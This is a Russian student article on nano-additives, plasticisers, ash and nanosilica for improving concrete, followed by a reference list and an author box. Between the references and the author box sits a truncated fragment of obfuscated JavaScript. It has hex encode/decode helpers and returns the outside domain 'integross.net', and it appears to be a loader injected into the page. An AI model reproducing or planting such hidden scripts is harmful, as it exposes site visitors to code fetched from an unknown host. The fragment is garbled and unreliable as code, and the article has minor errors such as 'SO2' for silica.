Применение нанодобавок для изменения физико-химических свойств инъекционных систем.


М.В. Агеева, М.Ю.Фабричных

Студенты ИЭУИС

Применение нанодобавок для изменения физико-химических свойств инъекционных систем.

Нанотехнологии по своей сути являются областью науки, которая изучает свойства материалов и занимается разработкой наноустройств,которые приводят к улучшению либо к появлению новых полезных характеристик получаемых продуктов. Наноматериалы известны с давних времен. Самый яркий  пример наноматериала  — сталь. Выплавкой стали люди занимаются с давних времен,но только совсем недавно стало понятно, что происходит при этой термообработке. Наноматериалы были всегда,но люди совсем недавно научились управлять, контролировать,конструировать и изменять их. [1]

Работа направлена на разработку основ новой ресурсосберегающей, экологически безопасной нанотехнологии производства бетонов, внедрение которой позволит значительно снизить потребление цемента , пластификаторов, специальных добавок и других компонентов бетона, улучшить экологическую обстановку на предприятиях, повысить прочность, морозостойкость и долговечность бетон. При современных требованиях к качеству строительных материалов применение традиционных методов и способов производства бетонных изделий не позволяет заметно изменить их свойства. В основном регулирование свойств бетонов происходит с помощью применения большого количества специальных добавок, которые в большинстве своем значительно  увеличивают стоимость бетона и, улучшая одни свойства, ухудшают другие.[2]

В современном мире каждая высокоразвитая страна стремится занять лидирующую позицию в разработке нанотехнологий. Самой известной инициативой является «Национальная Нано-технологическая Инициатива»,которую принял конгресс США.В нашей стране существует «Российская корпорация нанотех-нологий». Молекулярная биология, физика,химия — это основа для развития нанотехнологий. [3]

Соли сильных оснований и слабых кислот,соли слабых осно-ваний и сильных кислот,соли сильных кислот и сильных оснований являются хорошо растворимыми в воде электролитами и используются для ускорения твердения цемента. Некоторые из перечисленных электролитов использую в качестве ингибито-ров коррозии арматуры, повышающих сульфатостойкость бетона и его плотность. Введением электролитов улучшаются структуромеханические свойства бетонов и регулируется темп их твердения. Введение нитритов в состав комплексных модификаторов, подавляющих коррозию арматуры, особенно эффективно в случае применения в качестве ускорителей твердения бетона хлоридов. Широко используются  пластификаторы 1 группы  при производстве зимних работ.  Комплексные модификаторы 2 группы используются  при бетонировании в летнее время для увеличения морозостойкости бетона и сроков схватывания. Использование комплексных модификаторов, включающих кремнийорганические гидрофобноструктурирующие компоненты, перспективно с точки зрения создания  бетонов высокой долговечности.

Для бетонов,эксплуатируемых в сильноагрессивных хлоридных средах,используются комплексные модификаторы,в состав которых входят наиболее эффективные ингибиторы,а также суперпластификатор,значительно повышающий плотность — непроницаемость бетона ввиду уменьшения водопотребности бетонной смеси, и структурообразующие компоненты, повышающие морозостойкость бетона. Высокая эффективность комплексных модификаторов на основе СП и замедлителей схватывания обеспечивает увеличение времени сохраняемости бетонных смесей на 3..6 ч ,что очень важно при их транс-портировке на большие расстояния,особенно при повышенных температурах.

Актуальные морозоустойчивые пластифицирующие добавки  во многих случаев тормозят гидратацию цементных систем. В основном  это относится к умеренным и сильным добавкам на основе лигносульфонатов. Такие модификаторы сравнительно недорогие и массово применяются  как отдельно от супер-пластификаторов, так и вместе с ними совместно с добавками систем Лигнопан, Линамикс и др. Лигносульфонаты  замедляют гидратацию и раннее схватывание  бетонных смесей и снижают тепловыделение цементных растворов. [4]

Зола в бетоне является активной минеральной добавкой и микронаполнителем, улучшающим свойства растворов.  При внедрении золы в оптимизированном количестве водопотреб-ность бетонной смеси почти не меняется. Следовательно,для изменения состава смеси нужно уменьшить расход цемента в предложенном количестве и сократить затраты песка и щебня во взятом соотношении на величину, равную разности между массой внедренной  золы и уменьшенного цемента.

Золу  добавляют в бетон нижеуказанными методами: 1) вве-дение сухой золы в бетономешалку через  дозатор 2)введение в бетономешалку в виде водно-зольной взвеси 3) предваритель-ное смешивание всухую с цементом 4) предварительное смеши-вание в бетономешалке с цементом и водой и внедрение в бето-носмеситель в виде цементно-зольной взвеси. [5]

Санкт-Петербургская компания ООО «Бетон» совместно со специалистами кафедры ТСИиК Спб ГАСУ , начала использовать наномодификаторы для производства бетонных смесей. Это позволило уменьшить расход добавок и цемента , что приобретает особую актуальность в сложившихся условиях тотального дефицита этого материала. При этом внедрение наномодификаторов на предприятии требует минимальных производственных затрат : нет необходимости в закупке какого-либо дополнительного оборудования или изменения технологического процесса, крайне доступен и процесс отслеживания качества.

Модификация традиционных материалов наноструктурами приводит к созданию новых материалов с повышенными эксплуатационными параметрами. Углеволокнистые армирующие наполнители придают полимерным композициям такие специфические свойства, как электро- и теплопроводность, антифрикционность, износостойкость, повышают их механические параметры. Уникальное сочетание таких свойств с высокой технологичностью переработки термопластичных  углепластиков значительно расширило область их применения, позволив успешно конкурировать с цветными металлами. Технология модифицирования матрицы позволяет значительно расширить пределы эксплуатационных параметров этих углепластиков.

Другим перспективным направлением в современном материаловедении являются нанокомпозиты — структурированные материалы со средним размером одной из фаз не менее 100 нм. Протяженность границы раздела и доля граничного слоя с таких композитах возрастают до 50%. Соответственно повышается его влияние на свойства композиционного   материала.

Например, введение астраленов в цементные композиции способствует направленному росту цементного камня , что привело к увеличению прочности бетона вследствие изменения характера кристаллизации. Модифицированные образцы по прочности на сжатие и изгиб превосходили базовые. При этом прочность на изгиб достигла 50 % от прочности на сжатие, что может свидетельствовать о повышении однородности моди-фицированных образцов.  [6]

Выделяют несколько направлений в технологии наномодифицирования :

1) Улучшение структуры воды, являющейся равносильным элементом строительных материалов гидратного твердения.При этом  изменяется скорость гидратации, морфология новооб-разования и плотность структуры.

2)Видоизменение нанокристаллических и надмолекулярных структур.

3)Изменение кристаллической структуры.

Данные направления  классифицируют по методам достижения результата. Существуют три способа достижения результата: физический , химический и физико-химический. Эти методы активации воды широко известны и их результативность постоянно увеличивается с созданием новых соединений или  комплексных модификаторов. Физико-химический способ активации воды не применяется в строительном материаловедении.

Наночастицы и нанодисперсные порошки делятся на четыре группы: оксиды металлов, сложные соединения, порошки чистых металлов ,смеси чистых металлов. Выделяют  несколько методов их получения: применение жидких реактивов, конденсация из газовой фазы,механохимическое дробление, фотохимическое и химическое восстановление.

Технология наночастиц и порошков – это регулированный процесс создания нанообъектов с указанными свойствами при помощи изменения физических и химических параметров. Нанодисперсные порошки демонстрируют необычные свойства первоначальных материалов : низкую температуру плавления и теплоту парообразования, энергию ионизации; специфические оптические и  электромагнитные свойства; высокую растворимость  дающие им повышенные каталитические свойства и реакционные способности.

Этими порошками и нанодисперсными частицами ограничивается использование  нанотехнологий в производстве традиционных строительных материалов и изделий [3]

Важнейшим аспектом современного бетоноведения является активное внедрение химических технологий, позволяющих получать высокотехнологичные бетонные смеси и бетоны, обладающие высокими физико-механическими и эксплуатационными свойствами.

Химический компонент Цемент,   % массы Зола-унос, % массы Микрокремн-езем,

% масы

Нанокремнезем, % массы
SO2 18-24 40-60 80-99 100
Al2O3 4-8 23-24 0,5-3,0
Fe2O3 1-5 2-16 0,1-5,0
CaO 61-69 1-2,5 0,7-2,5
Средний размер частиц, мкм 10-20 10-30 0,1-0,3 0,007-0,04
Плотность кг/дм 3,10-3,13 2,15-2,45 2,22-2,40 2,20
Удельная поверхность, м/г 0,3-0,6 0,3-0,8 16-22 30-300
Форма Порошок Порошок Порошок, суспензия Коллоидный  р-р,порошок

Введение в технологию бетона новейших действенных добавок,изменяющих структуру и свойства материалов, композитных вяжущих веществ ,существенно повышают прочность бетона и позволяют получить совершенно новые высокоперспективные виды. [6]

Нанотехнологии позволяют осуществлять локальную стимуляцию химических реакций на молекулярном уровне, изменять свойства традиционных конструкционных материалов за счет их модификации наноструктурами, увеличивать прочность, водо- и коррозионную стойкость.

Впервые в больших масштабах суперпластификаторы были применены при строительстве Олимпийского стадиона в Монреале. Другими наиболее интересными сооружениями,при стротельстве которых использовались СП,являются следующие: бейсбольный стадион в Иокогаме,самое высокое здание в Нью-Йорке,дымовые трубы отопительных систем в США, Японии, мосты и путепроводы в Японии, Великобритании ,США и другие.

Все более широкое применение находят суперплас-тификаторы в технологии высокопрочного бетона, исполь-зуемого, в частности,в колоннах высотных зданий,строящихся в США.

Одной из новых конструктивных систем высотных зданий является система SWMB,разработанная фирмой «Скиллин Вард Магнуссен».Ее основной особенностью является применение трубобетонных колонн из сверхвысокопрочного бетона. По мнению специалистов США, к важным достоинствам зданий системы SWMB наряду со значительным снижением мате-риалоемкости конструкций и повышением уровня индустриаль-ного возведения,относится высокая сопротивляемость этих зданий сейсмическим воздействиям.

К непременным достоинствам высококачественных бетонов, находящих все более широкое применение в строительной практике ряда стран (Япония, Норвегия, Франция, США и друге), относят улучшенную удобоукладываемость и прочность,что ведет к ускорению строительства и созданию более экономичных и долговечных конструкций.Основные области их применения — высотное строительство,атомные электростанции, морские гидротехнические сооружения, предназначенные для эксплуатации в суровых климатических условиях, большепролетные мосты и различные инженерные сооружения, дорожные покрытия.

Примером практического применения таких бетонов во Франции стала фирма «Бунг», построившая в 1984 г. автодорож-ный мост.В 1985-1986 гг. построены Большая арка Националь-ной обороны, виадуки Сильван и Глясвер,мост Иль-де-Ре. [4]

Наноматериалы являются высокодисперсными компонентами технологических процессов, а в таком состоянии большинство веществ очень опасны. Например, «цинковая лихорадка», которой страдают люди, работающие в типографиях в связи нанодисперсным загрязнением атмосферы производственных помещений. Данные сообщают о том , что при массовом использовании наноматериалов в строительстве нужно опасаться такого эффекта.[1]

Использование нанотехнологий в строительстве позволит преодолеть дефицит цемента, ускорит строительство, повысит качество строительных материалов, снизит их стоимость и  обеспечит выполнение государственных проектов по подъему экономики страны и обеспечению решения социальных вопросов и улучшению условий жизни народов нашей страны.[7]

Список литературы:

  1. Король Е.А.,Хлыстунов М.С. Перспективы и проблемы применения нанотехнологий в строительстве. // Наносистемы в строительстве и производстве строительных материалов. М. : АСВ , 2007. С. 4.
  2. Федосов С.В.,Акулова М.В. Применение нанотехнологий с использовнием импульсной механоактивации комплексов жид- ких композитов в производстве бетонов. // Наносистемы в строи- тельстве и производстве строительных материалов. М.: АСВ , 2007. С. 6.
  3. Сахаров Г.П. О краткосрочной перспективе нанотех- нологий в производстве строительных материалов и изделий. // Технологии бетонов. 2009. №4. С.65-66.
  4. Батраков В.Г. Модифицированные бетоны. Теория и практика. 2-е изд.,перераб. и доп. — М. : [б. и.], 1998. 768 с.
  5. Данилович И.Ю, Сканави Н.А. Использование топлив- ных шлаков и зол для производства строительных материалов. М. : Высш.шк., 1988.72 с.
  6. Тараканов О.В. , Пронина Т.В. Рациональное применение полифункциональных добавок в технологии зимнего бетони- рования. // Строительные материалы. 2009. №2. С.10-14.
  7. Бикбау М. Наноцементы завтрашнего дня. // Строительство: новые технологии — новое оборудование. 2009. № 4. С.30-33 .

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "integross.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Рейтинг: 0

Автор публикации

1
не в сети 2 года

Мария Фабричных

Комментарии: 2Публикации: 9Регистрация: 20-03-2016

Оставьте комментарий